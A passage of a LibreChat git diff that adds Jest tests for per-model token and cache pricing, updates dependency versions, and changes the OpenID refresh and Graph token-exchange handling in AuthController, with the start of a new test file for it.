+ expect(getCacheMultiplier({ model: 'kimi', cacheType: 'read' })).toBe(
+ cacheTokenValues['kimi'].read,
+ );
+ });
+
+ it('should return correct cache multipliers for kimi-k2.5 (lower read price)', () => {
+ expect(getCacheMultiplier({ model: 'kimi-k2.5', cacheType: 'write' })).toBe(
+ cacheTokenValues['kimi-k2.5'].write,
+ );
+ expect(getCacheMultiplier({ model: 'kimi-k2.5', cacheType: 'read' })).toBe(
+ cacheTokenValues['kimi-k2.5'].read,
+ );
+ });
+
+ it('should return correct cache multipliers for kimi-k2-turbo', () => {
+ expect(getCacheMultiplier({ model: 'kimi-k2-turbo', cacheType: 'write' })).toBe(
+ cacheTokenValues['kimi-k2-turbo'].write,
+ );
+ expect(getCacheMultiplier({ model: 'kimi-k2-turbo', cacheType: 'read' })).toBe(
+ cacheTokenValues['kimi-k2-turbo'].read,
+ );
+ });
+
+ it('should handle Kimi cache multipliers with model variations', () => {
+ const modelVariations = ['openrouter/kimi-k2', 'openrouter/kimi'];
+
+ modelVariations.forEach((model) => {
+ const writeMultiplier = getCacheMultiplier({ model, cacheType: 'write' });
+ const readMultiplier = getCacheMultiplier({ model, cacheType: 'read' });
+ expect(writeMultiplier).toBe(cacheTokenValues['kimi'].write);
+ expect(readMultiplier).toBe(cacheTokenValues['kimi'].read);
+ });
+ });
+ });
+
+ describe('Bedrock Moonshot Models', () => {
+ it('should return correct pricing for Bedrock moonshot models', () => {
+ expect(getMultiplier({ model: 'moonshot.kimi', tokenType: 'prompt' })).toBe(
+ tokenValues['moonshot.kimi'].prompt,
+ );
+ expect(getMultiplier({ model: 'moonshot.kimi', tokenType: 'completion' })).toBe(
+ tokenValues['moonshot.kimi'].completion,
+ );
+ expect(getMultiplier({ model: 'moonshot.kimi-k2', tokenType: 'prompt' })).toBe(
+ tokenValues['moonshot.kimi-k2'].prompt,
+ );
+ expect(getMultiplier({ model: 'moonshot.kimi-k2.5', tokenType: 'prompt' })).toBe(
+ tokenValues['moonshot.kimi-k2.5'].prompt,
+ );
+ expect(getMultiplier({ model: 'moonshot.kimi-k2.5', tokenType: 'completion' })).toBe(
+ tokenValues['moonshot.kimi-k2.5'].completion,
+ );
});
});
});
@@ -1135,6 +1404,73 @@ describe('getCacheMultiplier', () => {
).toBeNull();
});
+ it('should return correct cache multipliers for OpenAI models', () => {
+ const openaiCacheModels = [
+ 'gpt-4o',
+ 'gpt-4o-mini',
+ 'gpt-4.1',
+ 'gpt-4.1-mini',
+ 'gpt-4.1-nano',
+ 'gpt-5',
+ 'gpt-5.1',
+ 'gpt-5.2',
+ 'gpt-5.3',
+ 'gpt-5.4',
+ 'gpt-5-mini',
+ 'gpt-5-nano',
+ 'o1',
+ 'o1-mini',
+ 'o1-preview',
+ 'o3',
+ 'o3-mini',
+ 'o4-mini',
+ ];
+
+ for (const model of openaiCacheModels) {
+ expect(getCacheMultiplier({ model, cacheType: 'write' })).toBe(cacheTokenValues[model].write);
+ expect(getCacheMultiplier({ model, cacheType: 'read' })).toBe(cacheTokenValues[model].read);
+ }
+ });
+
+ it('should return correct cache multipliers for OpenAI dated variants', () => {
+ expect(getCacheMultiplier({ model: 'gpt-4o-2024-08-06', cacheType: 'read' })).toBe(
+ cacheTokenValues['gpt-4o'].read,
+ );
+ expect(getCacheMultiplier({ model: 'gpt-4.1-2026-01-01', cacheType: 'read' })).toBe(
+ cacheTokenValues['gpt-4.1'].read,
+ );
+ expect(getCacheMultiplier({ model: 'gpt-5.3-codex', cacheType: 'read' })).toBe(
+ cacheTokenValues['gpt-5.3'].read,
+ );
+ expect(getCacheMultiplier({ model: 'openai/gpt-5.3', cacheType: 'write' })).toBe(
+ cacheTokenValues['gpt-5.3'].write,
+ );
+ });
+
+ it('should return null for pro models that do not support caching', () => {
+ expect(getCacheMultiplier({ model: 'gpt-5-pro', cacheType: 'read' })).toBeNull();
+ expect(getCacheMultiplier({ model: 'gpt-5-pro', cacheType: 'write' })).toBeNull();
+ expect(getCacheMultiplier({ model: 'gpt-5.2-pro', cacheType: 'read' })).toBeNull();
+ expect(getCacheMultiplier({ model: 'gpt-5.2-pro', cacheType: 'write' })).toBeNull();
+ expect(getCacheMultiplier({ model: 'gpt-5.4-pro', cacheType: 'read' })).toBeNull();
+ expect(getCacheMultiplier({ model: 'gpt-5.4-pro', cacheType: 'write' })).toBeNull();
+ });
+
+ it('should have consistent 10% cache read pricing for gpt-5.x models', () => {
+ const gpt5CacheModels = [
+ 'gpt-5',
+ 'gpt-5.1',
+ 'gpt-5.2',
+ 'gpt-5.3',
+ 'gpt-5.4',
+ 'gpt-5-mini',
+ 'gpt-5-nano',
+ ];
+ for (const model of gpt5CacheModels) {
+ expect(cacheTokenValues[model].read).toBeCloseTo(cacheTokenValues[model].write * 0.1, 10);
+ }
+ });
+
it('should handle models with "bedrock/" prefix', () => {
expect(
getCacheMultiplier({
@@ -1154,6 +1490,9 @@ describe('getCacheMultiplier', () => {
describe('Google Model Tests', () => {
const googleModels = [
'gemini-3',
+ 'gemini-3.1-pro-preview',
+ 'gemini-3.1-pro-preview-customtools',
+ 'gemini-3.1-flash-lite-preview',
'gemini-2.5-pro',
'gemini-2.5-flash',
'gemini-2.5-flash-lite',
@@ -1198,6 +1537,9 @@ describe('Google Model Tests', () => {
it('should map to the correct model keys', () => {
const expected = {
'gemini-3': 'gemini-3',
+ 'gemini-3.1-pro-preview': 'gemini-3.1',
+ 'gemini-3.1-pro-preview-customtools': 'gemini-3.1',
+ 'gemini-3.1-flash-lite-preview': 'gemini-3.1-flash-lite',
'gemini-2.5-pro': 'gemini-2.5-pro',
'gemini-2.5-flash': 'gemini-2.5-flash',
'gemini-2.5-flash-lite': 'gemini-2.5-flash-lite',
@@ -1241,6 +1583,190 @@ describe('Google Model Tests', () => {
).toBe(tokenValues[expected].completion);
});
});
+
+ it('should return correct prompt and completion rates for Gemini 3.1', () => {
+ expect(
+ getMultiplier({
+ model: 'gemini-3.1-pro-preview',
+ tokenType: 'prompt',
+ endpoint: EModelEndpoint.google,
+ }),
+ ).toBe(tokenValues['gemini-3.1'].prompt);
+ expect(
+ getMultiplier({
+ model: 'gemini-3.1-pro-preview',
+ tokenType: 'completion',
+ endpoint: EModelEndpoint.google,
+ }),
+ ).toBe(tokenValues['gemini-3.1'].completion);
+ expect(
+ getMultiplier({
+ model: 'gemini-3.1-pro-preview-customtools',
+ tokenType: 'prompt',
+ endpoint: EModelEndpoint.google,
+ }),
+ ).toBe(tokenValues['gemini-3.1'].prompt);
+ expect(
+ getMultiplier({
+ model: 'gemini-3.1-pro-preview-customtools',
+ tokenType: 'completion',
+ endpoint: EModelEndpoint.google,
+ }),
+ ).toBe(tokenValues['gemini-3.1'].completion);
+ });
+
+ it('should return correct cache rates for Gemini 3.1', () => {
+ ['gemini-3.1-pro-preview', 'gemini-3.1-pro-preview-customtools'].forEach((model) => {
+ expect(getCacheMultiplier({ model, cacheType: 'write' })).toBe(
+ cacheTokenValues['gemini-3.1'].write,
+ );
+ expect(getCacheMultiplier({ model, cacheType: 'read' })).toBe(
+ cacheTokenValues['gemini-3.1'].read,
+ );
+ });
+ });
+
+ it('should return correct rates for Gemini 3.1 Flash-Lite', () => {
+ const model = 'gemini-3.1-flash-lite-preview';
+ expect(getMultiplier({ model, tokenType: 'prompt', endpoint: EModelEndpoint.google })).toBe(
+ tokenValues['gemini-3.1-flash-lite'].prompt,
+ );
+ expect(getMultiplier({ model, tokenType: 'completion', endpoint: EModelEndpoint.google })).toBe(
+ tokenValues['gemini-3.1-flash-lite'].completion,
+ );
+ expect(getCacheMultiplier({ model, cacheType: 'write' })).toBe(
+ cacheTokenValues['gemini-3.1-flash-lite'].write,
+ );
+ expect(getCacheMultiplier({ model, cacheType: 'read' })).toBe(
+ cacheTokenValues['gemini-3.1-flash-lite'].read,
+ );
+ });
+});
+
+describe('Gemini 3.1 Premium Token Pricing', () => {
+ const premiumKey = 'gemini-3.1';
+ const premiumEntry = premiumTokenValues[premiumKey];
+ const { threshold } = premiumEntry;
+ const belowThreshold = threshold - 1;
+ const aboveThreshold = threshold + 1;
+ const wellAboveThreshold = threshold * 2;
+
+ it('should have premium pricing defined for gemini-3.1', () => {
+ expect(premiumEntry).toBeDefined();
+ expect(premiumEntry.threshold).toBeDefined();
+ expect(premiumEntry.prompt).toBeDefined();
+ expect(premiumEntry.completion).toBeDefined();
+ expect(premiumEntry.prompt).toBeGreaterThan(tokenValues[premiumKey].prompt);
+ expect(premiumEntry.completion).toBeGreaterThan(tokenValues[premiumKey].completion);
+ });
+
+ it('should return null from getPremiumRate when inputTokenCount is below or at threshold', () => {
+ expect(getPremiumRate(premiumKey, 'prompt', belowThreshold)).toBeNull();
+ expect(getPremiumRate(premiumKey, 'completion', belowThreshold)).toBeNull();
+ expect(getPremiumRate(premiumKey, 'prompt', threshold)).toBeNull();
+ });
+
+ it('should return premium rate from getPremiumRate when inputTokenCount exceeds threshold', () => {
+ expect(getPremiumRate(premiumKey, 'prompt', aboveThreshold)).toBe(premiumEntry.prompt);
+ expect(getPremiumRate(premiumKey, 'completion', aboveThreshold)).toBe(premiumEntry.completion);
+ expect(getPremiumRate(premiumKey, 'prompt', wellAboveThreshold)).toBe(premiumEntry.prompt);
+ });
+
+ it('should return null from getPremiumRate when inputTokenCount is undefined or null', () => {
+ expect(getPremiumRate(premiumKey, 'prompt', undefined)).toBeNull();
+ expect(getPremiumRate(premiumKey, 'prompt', null)).toBeNull();
+ });
+
+ it('should return standard rate from getMultiplier when inputTokenCount is below threshold', () => {
+ expect(
+ getMultiplier({
+ model: 'gemini-3.1-pro-preview',
+ tokenType: 'prompt',
+ inputTokenCount: belowThreshold,
+ }),
+ ).toBe(tokenValues[premiumKey].prompt);
+ expect(
+ getMultiplier({
+ model: 'gemini-3.1-pro-preview',
+ tokenType: 'completion',
+ inputTokenCount: belowThreshold,
+ }),
+ ).toBe(tokenValues[premiumKey].completion);
+ });
+
+ it('should return premium rate from getMultiplier when inputTokenCount exceeds threshold', () => {
+ expect(
+ getMultiplier({
+ model: 'gemini-3.1-pro-preview',
+ tokenType: 'prompt',
+ inputTokenCount: aboveThreshold,
+ }),
+ ).toBe(premiumEntry.prompt);
+ expect(
+ getMultiplier({
+ model: 'gemini-3.1-pro-preview',
+ tokenType: 'completion',
+ inputTokenCount: aboveThreshold,
+ }),
+ ).toBe(premiumEntry.completion);
+ });
+
+ it('should return standard rate from getMultiplier when inputTokenCount is exactly at threshold', () => {
+ expect(
+ getMultiplier({
+ model: 'gemini-3.1-pro-preview',
+ tokenType: 'prompt',
+ inputTokenCount: threshold,
+ }),
+ ).toBe(tokenValues[premiumKey].prompt);
+ });
+
+ it('should apply premium pricing to customtools variant above threshold', () => {
+ expect(
+ getMultiplier({
+ model: 'gemini-3.1-pro-preview-customtools',
+ tokenType: 'prompt',
+ inputTokenCount: aboveThreshold,
+ }),
+ ).toBe(premiumEntry.prompt);
+ expect(
+ getMultiplier({
+ model: 'gemini-3.1-pro-preview-customtools',
+ tokenType: 'completion',
+ inputTokenCount: aboveThreshold,
+ }),
+ ).toBe(premiumEntry.completion);
+ });
+
+ it('should use standard rate when inputTokenCount is not provided', () => {
+ expect(getMultiplier({ model: 'gemini-3.1-pro-preview', tokenType: 'prompt' })).toBe(
+ tokenValues[premiumKey].prompt,
+ );
+ expect(getMultiplier({ model: 'gemini-3.1-pro-preview', tokenType: 'completion' })).toBe(
+ tokenValues[premiumKey].completion,
+ );
+ });
+
+ it('should apply premium pricing through getMultiplier with valueKey path', () => {
+ const valueKey = getValueKey('gemini-3.1-pro-preview');
+ expect(valueKey).toBe(premiumKey);
+ expect(getMultiplier({ valueKey, tokenType: 'prompt', inputTokenCount: aboveThreshold })).toBe(
+ premiumEntry.prompt,
+ );
+ expect(
+ getMultiplier({ valueKey, tokenType: 'completion', inputTokenCount: aboveThreshold }),
+ ).toBe(premiumEntry.completion);
+ });
+
+ it('should apply standard pricing through getMultiplier with valueKey path when below threshold', () => {
+ const valueKey = getValueKey('gemini-3.1-pro-preview');
+ expect(getMultiplier({ valueKey, tokenType: 'prompt', inputTokenCount: belowThreshold })).toBe(
+ tokenValues[premiumKey].prompt,
+ );
+ expect(
+ getMultiplier({ valueKey, tokenType: 'completion', inputTokenCount: belowThreshold }),
+ ).toBe(tokenValues[premiumKey].completion);
+ });
});
describe('Grok Model Tests - Pricing', () => {
@@ -1689,6 +2215,201 @@ describe('Claude Model Tests', () => {
);
});
});
+
+ it('should return correct prompt and completion rates for Claude Opus 4.6', () => {
+ expect(getMultiplier({ model: 'claude-opus-4-6', tokenType: 'prompt' })).toBe(
+ tokenValues['claude-opus-4-6'].prompt,
+ );
+ expect(getMultiplier({ model: 'claude-opus-4-6', tokenType: 'completion' })).toBe(
+ tokenValues['claude-opus-4-6'].completion,
+ );
+ });
+
+ it('should handle Claude Opus 4.6 model name variations', () => {
+ const modelVariations = [
+ 'claude-opus-4-6',
+ 'claude-opus-4-6-20250801',
+ 'claude-opus-4-6-latest',
+ 'anthropic/claude-opus-4-6',
+ 'claude-opus-4-6/anthropic',
+ 'claude-opus-4-6-preview',
+ ];
+
+ modelVariations.forEach((model) => {
+ const valueKey = getValueKey(model);
+ expect(valueKey).toBe('claude-opus-4-6');
+ expect(getMultiplier({ model, tokenType: 'prompt' })).toBe(
+ tokenValues['claude-opus-4-6'].prompt,
+ );
+ expect(getMultiplier({ model, tokenType: 'completion' })).toBe(
+ tokenValues['claude-opus-4-6'].completion,
+ );
+ });
+ });
+
+ it('should return correct cache rates for Claude Opus 4.6', () => {
+ expect(getCacheMultiplier({ model: 'claude-opus-4-6', cacheType: 'write' })).toBe(
+ cacheTokenValues['claude-opus-4-6'].write,
+ );
+ expect(getCacheMultiplier({ model: 'claude-opus-4-6', cacheType: 'read' })).toBe(
+ cacheTokenValues['claude-opus-4-6'].read,
+ );
+ });
+
+ it('should handle Claude Opus 4.6 cache rates with model name variations', () => {
+ const modelVariations = [
+ 'claude-opus-4-6',
+ 'claude-opus-4-6-20250801',
+ 'claude-opus-4-6-latest',
+ 'anthropic/claude-opus-4-6',
+ 'claude-opus-4-6/anthropic',
+ 'claude-opus-4-6-preview',
+ ];
+
+ modelVariations.forEach((model) => {
+ expect(getCacheMultiplier({ model, cacheType: 'write' })).toBe(
+ cacheTokenValues['claude-opus-4-6'].write,
+ );
+ expect(getCacheMultiplier({ model, cacheType: 'read' })).toBe(
+ cacheTokenValues['claude-opus-4-6'].read,
+ );
+ });
+ });
+});
+
+describe('Premium Token Pricing', () => {
+ const premiumModel = 'claude-opus-4-6';
+ const premiumEntry = premiumTokenValues[premiumModel];
+ const { threshold } = premiumEntry;
+ const belowThreshold = threshold - 1;
+ const aboveThreshold = threshold + 1;
+ const wellAboveThreshold = threshold * 2;
+
+ it('should have premium pricing defined for claude-opus-4-6', () => {
+ expect(premiumEntry).toBeDefined();
+ expect(premiumEntry.threshold).toBeDefined();
+ expect(premiumEntry.prompt).toBeDefined();
+ expect(premiumEntry.completion).toBeDefined();
+ expect(premiumEntry.prompt).toBeGreaterThan(tokenValues[premiumModel].prompt);
+ expect(premiumEntry.completion).toBeGreaterThan(tokenValues[premiumModel].completion);
+ });
+
+ it('should return null from getPremiumRate when inputTokenCount is below threshold', () => {
+ expect(getPremiumRate(premiumModel, 'prompt', belowThreshold)).toBeNull();
+ expect(getPremiumRate(premiumModel, 'completion', belowThreshold)).toBeNull();
+ expect(getPremiumRate(premiumModel, 'prompt', threshold)).toBeNull();
+ });
+
+ it('should return premium rate from getPremiumRate when inputTokenCount exceeds threshold', () => {
+ expect(getPremiumRate(premiumModel, 'prompt', aboveThreshold)).toBe(premiumEntry.prompt);
+ expect(getPremiumRate(premiumModel, 'completion', aboveThreshold)).toBe(
+ premiumEntry.completion,
+ );
+ expect(getPremiumRate(premiumModel, 'prompt', wellAboveThreshold)).toBe(premiumEntry.prompt);
+ });
+
+ it('should return null from getPremiumRate when inputTokenCount is undefined or null', () => {
+ expect(getPremiumRate(premiumModel, 'prompt', undefined)).toBeNull();
+ expect(getPremiumRate(premiumModel, 'prompt', null)).toBeNull();
+ });
+
+ it('should return null from getPremiumRate for models without premium pricing', () => {
+ expect(getPremiumRate('claude-opus-4-5', 'prompt', wellAboveThreshold)).toBeNull();
+ expect(getPremiumRate('claude-sonnet-4', 'prompt', wellAboveThreshold)).toBeNull();
+ expect(getPremiumRate('gpt-4o', 'prompt', wellAboveThreshold)).toBeNull();
+ });
+
+ it('should return standard rate from getMultiplier when inputTokenCount is below threshold', () => {
+ expect(
+ getMultiplier({
+ model: premiumModel,
+ tokenType: 'prompt',
+ inputTokenCount: belowThreshold,
+ }),
+ ).toBe(tokenValues[premiumModel].prompt);
+ expect(
+ getMultiplier({
+ model: premiumModel,
+ tokenType: 'completion',
+ inputTokenCount: belowThreshold,
+ }),
+ ).toBe(tokenValues[premiumModel].completion);
+ });
+
+ it('should return premium rate from getMultiplier when inputTokenCount exceeds threshold', () => {
+ expect(
+ getMultiplier({
+ model: premiumModel,
+ tokenType: 'prompt',
+ inputTokenCount: aboveThreshold,
+ }),
+ ).toBe(premiumEntry.prompt);
+ expect(
+ getMultiplier({
+ model: premiumModel,
+ tokenType: 'completion',
+ inputTokenCount: aboveThreshold,
+ }),
+ ).toBe(premiumEntry.completion);
+ });
+
+ it('should return standard rate from getMultiplier when inputTokenCount is exactly at threshold', () => {
+ expect(
+ getMultiplier({ model: premiumModel, tokenType: 'prompt', inputTokenCount: threshold }),
+ ).toBe(tokenValues[premiumModel].prompt);
+ });
+
+ it('should return premium rate from getMultiplier when inputTokenCount is one above threshold', () => {
+ expect(
+ getMultiplier({ model: premiumModel, tokenType: 'prompt', inputTokenCount: aboveThreshold }),
+ ).toBe(premiumEntry.prompt);
+ });
+
+ it('should not apply premium pricing to models without premium entries', () => {
+ expect(
+ getMultiplier({
+ model: 'claude-opus-4-5',
+ tokenType: 'prompt',
+ inputTokenCount: wellAboveThreshold,
+ }),
+ ).toBe(tokenValues['claude-opus-4-5'].prompt);
+ expect(
+ getMultiplier({
+ model: 'claude-sonnet-4',
+ tokenType: 'prompt',
+ inputTokenCount: wellAboveThreshold,
+ }),
+ ).toBe(tokenValues['claude-sonnet-4'].prompt);
+ });
+
+ it('should use standard rate when inputTokenCount is not provided', () => {
+ expect(getMultiplier({ model: premiumModel, tokenType: 'prompt' })).toBe(
+ tokenValues[premiumModel].prompt,
+ );
+ expect(getMultiplier({ model: premiumModel, tokenType: 'completion' })).toBe(
+ tokenValues[premiumModel].completion,
+ );
+ });
+
+ it('should apply premium pricing through getMultiplier with valueKey path', () => {
+ const valueKey = getValueKey(premiumModel);
+ expect(getMultiplier({ valueKey, tokenType: 'prompt', inputTokenCount: aboveThreshold })).toBe(
+ premiumEntry.prompt,
+ );
+ expect(
+ getMultiplier({ valueKey, tokenType: 'completion', inputTokenCount: aboveThreshold }),
+ ).toBe(premiumEntry.completion);
+ });
+
+ it('should apply standard pricing through getMultiplier with valueKey path when below threshold', () => {
+ const valueKey = getValueKey(premiumModel);
+ expect(getMultiplier({ valueKey, tokenType: 'prompt', inputTokenCount: belowThreshold })).toBe(
+ tokenValues[premiumModel].prompt,
+ );
+ expect(
+ getMultiplier({ valueKey, tokenType: 'completion', inputTokenCount: belowThreshold }),
+ ).toBe(tokenValues[premiumModel].completion);
+ });
});
describe('tokens.ts and tx.js sync validation', () => {
diff --git a/api/package.json b/api/package.json
index 4cce0b9768..0305446818 100644
--- a/api/package.json
+++ b/api/package.json
@@ -1,6 +1,6 @@
{
"name": "@librechat/backend",
- "version": "v0.8.2",
+ "version": "v0.8.3",
"description": "",
"scripts": {
"start": "echo 'please run this from the root directory'",
@@ -34,25 +34,25 @@
},
"homepage": "https://librechat.ai",
"dependencies": {
- "@anthropic-ai/sdk": "^0.71.0",
- "@anthropic-ai/vertex-sdk": "^0.14.0",
- "@aws-sdk/client-bedrock-runtime": "^3.941.0",
- "@aws-sdk/client-s3": "^3.758.0",
+ "@anthropic-ai/vertex-sdk": "^0.14.3",
+ "@aws-sdk/client-bedrock-runtime": "^3.980.0",
+ "@aws-sdk/client-s3": "^3.980.0",
"@aws-sdk/s3-request-presigner": "^3.758.0",
"@azure/identity": "^4.7.0",
"@azure/search-documents": "^12.0.0",
- "@azure/storage-blob": "^12.27.0",
+ "@azure/storage-blob": "^12.30.0",
"@google/genai": "^1.19.0",
"@keyv/redis": "^4.3.3",
"@langchain/core": "^0.3.80",
- "@librechat/agents": "^3.0.776",
+ "@librechat/agents": "^3.1.55",
"@librechat/api": "*",
"@librechat/data-schemas": "*",
"@microsoft/microsoft-graph-client": "^3.0.7",
- "@modelcontextprotocol/sdk": "^1.25.3",
+ "@modelcontextprotocol/sdk": "^1.27.1",
"@node-saml/passport-saml": "^5.1.0",
"@smithy/node-http-handler": "^4.4.5",
- "axios": "^1.12.1",
+ "ai-tokenizer": "^1.0.6",
+ "axios": "^1.13.5",
"bcryptjs": "^2.4.3",
"compression": "^1.8.1",
"connect-redis": "^8.1.0",
@@ -64,10 +64,10 @@
"eventsource": "^3.0.2",
"express": "^5.2.1",
"express-mongo-sanitize": "^2.2.0",
- "express-rate-limit": "^8.2.1",
+ "express-rate-limit": "^8.3.0",
"express-session": "^1.18.2",
"express-static-gzip": "^2.2.0",
- "file-type": "^18.7.0",
+ "file-type": "^21.3.2",
"firebase": "^11.0.2",
"form-data": "^4.0.4",
"handlebars": "^4.7.7",
@@ -81,13 +81,14 @@
"klona": "^2.0.6",
"librechat-data-provider": "*",
"lodash": "^4.17.23",
+ "mammoth": "^1.11.0",
"mathjs": "^15.1.0",
"meilisearch": "^0.38.0",
"memorystore": "^1.6.7",
"mime": "^3.0.0",
"module-alias": "^2.2.3",
"mongoose": "^8.12.1",
- "multer": "^2.0.2",
+ "multer": "^2.1.1",
"nanoid": "^3.3.7",
"node-fetch": "^2.7.0",
"nodemailer": "^7.0.11",
@@ -103,14 +104,15 @@
"passport-jwt": "^4.0.1",
"passport-ldapauth": "^3.0.1",
"passport-local": "^1.0.0",
+ "pdfjs-dist": "^5.4.624",
"rate-limit-redis": "^4.2.0",
"sharp": "^0.33.5",
- "tiktoken": "^1.0.15",
"traverse": "^0.6.7",
"ua-parser-js": "^1.0.36",
- "undici": "^7.18.2",
+ "undici": "^7.24.1",
"winston": "^3.11.0",
"winston-daily-rotate-file": "^5.0.0",
+ "xlsx": "https://cdn.sheetjs.com/xlsx-0.20.3/xlsx-0.20.3.tgz",
"zod": "^3.22.4"
},
"devDependencies": {
diff --git a/api/server/cleanup.js b/api/server/cleanup.js
index c482a2267e..364c02cd8a 100644
--- a/api/server/cleanup.js
+++ b/api/server/cleanup.js
@@ -35,7 +35,6 @@ const graphPropsToClean = [
'tools',
'signal',
'config',
- 'agentContexts',
'messages',
'contentData',
'stepKeyIds',
@@ -277,7 +276,16 @@ function disposeClient(client) {
if (client.run) {
if (client.run.Graph) {
- client.run.Graph.resetValues();
+ if (typeof client.run.Graph.clearHeavyState === 'function') {
+ client.run.Graph.clearHeavyState();
+ } else {
+ client.run.Graph.resetValues();
+ }
+
+ if (client.run.Graph.agentContexts) {
+ client.run.Graph.agentContexts.clear();
+ client.run.Graph.agentContexts = null;
+ }
graphPropsToClean.forEach((prop) => {
if (client.run.Graph[prop] !== undefined) {
diff --git a/api/server/controllers/AuthController.js b/api/server/controllers/AuthController.js
index 22e53dcfc9..13d024cd03 100644
--- a/api/server/controllers/AuthController.js
+++ b/api/server/controllers/AuthController.js
@@ -18,8 +18,7 @@ const {
findUser,
} = require('~/models');
const { getGraphApiToken } = require('~/server/services/GraphTokenService');
-const { getOAuthReconnectionManager } = require('~/config');
-const { getOpenIdConfig } = require('~/strategies');
+const { getOpenIdConfig, getOpenIdEmail } = require('~/strategies');
const registrationController = async (req, res) => {
try {
@@ -79,11 +78,16 @@ const refreshController = async (req, res) => {
try {
const openIdConfig = getOpenIdConfig();
- const tokenset = await openIdClient.refreshTokenGrant(openIdConfig, refreshToken);
+ const refreshParams = process.env.OPENID_SCOPE ? { scope: process.env.OPENID_SCOPE } : {};
+ const tokenset = await openIdClient.refreshTokenGrant(
+ openIdConfig,
+ refreshToken,
+ refreshParams,
+ );
const claims = tokenset.claims();
const { user, error, migration } = await findOpenIDUser({
findUser,
- email: claims.email,
+ email: getOpenIdEmail(claims),
openidId: claims.sub,
idOnTheSource: claims.oid,
strategyName: 'refreshController',
@@ -161,17 +165,6 @@ const refreshController = async (req, res) => {
if (session && session.expiration > new Date()) {
const token = await setAuthTokens(userId, res, session);
- // trigger OAuth MCP server reconnection asynchronously (best effort)
- try {
- void getOAuthReconnectionManager()
- .reconnectServers(userId)
- .catch((err) => {
- logger.error('[refreshController] Error reconnecting OAuth MCP servers:', err);
- });
- } catch (err) {
- logger.warn(`[refreshController] Cannot attempt OAuth MCP servers reconnection:`, err);
- }
-
res.status(200).send({ token, user });
} else if (req?.query?.retry) {
// Retrying from a refresh token request that failed (401)
@@ -203,15 +196,6 @@ const graphTokenController = async (req, res) => {
});
}
- // Extract access token from Authorization header
- const authHeader = req.headers.authorization;
- if (!authHeader || !authHeader.startsWith('Bearer ')) {
- return res.status(401).json({
- message: 'Valid authorization token required',
- });
- }
-
- // Get scopes from query parameters
const scopes = req.query.scopes;
if (!scopes) {
return res.status(400).json({
@@ -219,7 +203,13 @@ const graphTokenController = async (req, res) => {
});
}
- const accessToken = authHeader.substring(7); // Remove 'Bearer ' prefix
+ const accessToken = req.user.federatedTokens?.access_token;
+ if (!accessToken) {
+ return res.status(401).json({
+ message: 'No federated access token available for token exchange',
+ });
+ }
+
const tokenResponse = await getGraphApiToken(req.user, accessToken, scopes);
res.json(tokenResponse);
diff --git a/api/server/controllers/AuthController.spec.js b/api/server/controllers/AuthController.spec.js
new file mode 100644
index 0000000000..fef670baa8
--- /dev/null
+++ b/api/server/controllers/AuthController.spec.js
@@ -0,0 +1,302 @@
+jest.mock('@librechat/data-schemas', () => ({
+ logger: { error: jest.fn(), debug: jest.fn(), warn: jest.fn(), info: jest.fn() },
+}));
+jest.mock('~/server/services/GraphTokenService', () => ({
+ getGraphApiToken: jest.fn(),
+}));
+jest.mock('~/server/services/AuthService', () => ({
+ requestPasswordReset: jest.fn(),
+ setOpenIDAuthTokens: jest.fn(),
+ resetPassword: jest.fn(),
+ setAuthTokens: jest.fn(),
+ registerUser: jest.fn(),
+}));
+jest.mock('~/strategies', () => ({ getOpenIdConfig: jest.fn(), getOpenIdEmail: jest.fn() }));
+jest.mock('openid-client', () => ({ refreshTokenGrant: jest.fn() }));
+jest.mock('~/models', () => ({
+ deleteAllUserSessions: jest.fn(),
+ getUserById: jest.fn(),
+ findSession: jest.fn(),
+ updateUser: jest.fn(),
+ findUser: jest.fn(),
+}));
+jest.mock('@librechat/api', () => ({
+ isEnabled: jest.fn(),
+ findOpenIDUser: jest.fn(),
+}));
+
+const openIdClient = require('openid-client');
+const { isEnabled, findOpenIDUser } = require('@librechat/api');
+const { graphTokenController, refreshController } = require('./AuthController');
+const { getGraphApiToken } = require('~/server/services/GraphTokenService');
+const { setOpenIDAuthTokens } = require('~/server/services/AuthService');
+const { getOpenIdConfig, getOpenIdEmail } = require('~/strategies');
+const { updateUser } = require('~/models');
+
+describe('graphTokenController', () => {
+ let req, res;
+
+ beforeEach(() => {
+ jest.clearAllMocks();
+ isEnabled.mockReturnValue(true);
+
+ req = {
+ user: {
+ openidId: 'oid-123',
+ provider: 'openid',
+ federatedTokens: {
+ access_token: 'federated-access-token',
+ id_token: 'federated-id-token',
+ },
+ },
+ headers: { authorization: 'Bearer app-jwt-which-is-id-token' },
+ query: { scopes: 'https://graph.microsoft.com/.default' },
+ };
+
+ res = {
+ status: jest.fn().mockReturnThis(),
+ json: jest.fn(),
+ };
+
+ getGraphApiToken.mockResolvedValue({
+ access_token: 'graph-access-token',
+ token_type: 'Bearer',
+ expires_in: 3600,
+ });
+ });
+
+ it('should pass federatedTokens.access_token as OBO assertion, not the auth header bearer token', async () => {
+ await graphTokenController(req, res);
+
+ expect(getGraphApiToken).toHaveBeenCalledWith(
+ req.user,
+ 'federated-access-token',
+ 'https://graph.microsoft.com/.default',
+ );
+ expect(getGraphApiToken).not.toHaveBeenCalledWith(
+ expect.anything(),
+ 'app-jwt-which-is-id-token',
+ expect.anything(),
+ );
+ });
+
+ it('should return the graph token response on success', async () => {
+ await graphTokenController(req, res);
+
+ expect(res.json).toHaveBeenCalledWith({
+ access_token: 'graph-access-token',
+ token_type: 'Bearer',
+ expires_in: 3600,
+ });
+ });
+
+ it('should return 403 when user is not authenticated via Entra ID', async () => {
+ req.user.provider = 'google';
+ req.user.openidId = undefined;
+
+ await graphTokenController(req, res);
+
+ expect(res.status).toHaveBeenCalledWith(403);
+ expect(getGraphApiToken).not.toHaveBeenCalled();
+ });
+
+ it('should return 403 when OPENID_REUSE_TOKENS is not enabled', async () => {
+ isEnabled.mockReturnValue(false);
+
+ await graphTokenController(req, res);
+
+ expect(res.status).toHaveBeenCalledWith(403);
+ expect(getGraphApiToken).not.toHaveBeenCalled();
+ });
+
+ it('should return 400 when scopes query param is missing', async () => {
+ req.query.scopes = undefined;
+
+ await graphTokenController(req, res);
+
+ expect(res.status).toHaveBeenCalledWith(400);
+ expect(getGraphApiToken).not.toHaveBeenCalled();
+ });
+
+ it('should return 401 when federatedTokens.access_token is missing', async () => {
+ req.user.federatedTokens = {};
+
+ await graphTokenController(req, res);
+
+ expect(res.status).toHaveBeenCalledWith(401);
+ expect(getGraphApiToken).not.toHaveBeenCalled();
+ });
+
+ it('should return 401 when federatedTokens is absent entirely', async () => {
+ req.user.federatedTokens = undefined;
+
+ await graphTokenController(req, res);
+
